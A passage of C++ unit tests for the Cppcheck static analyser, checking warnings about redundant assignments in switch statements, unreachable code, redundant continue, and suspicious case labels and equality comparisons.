y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" 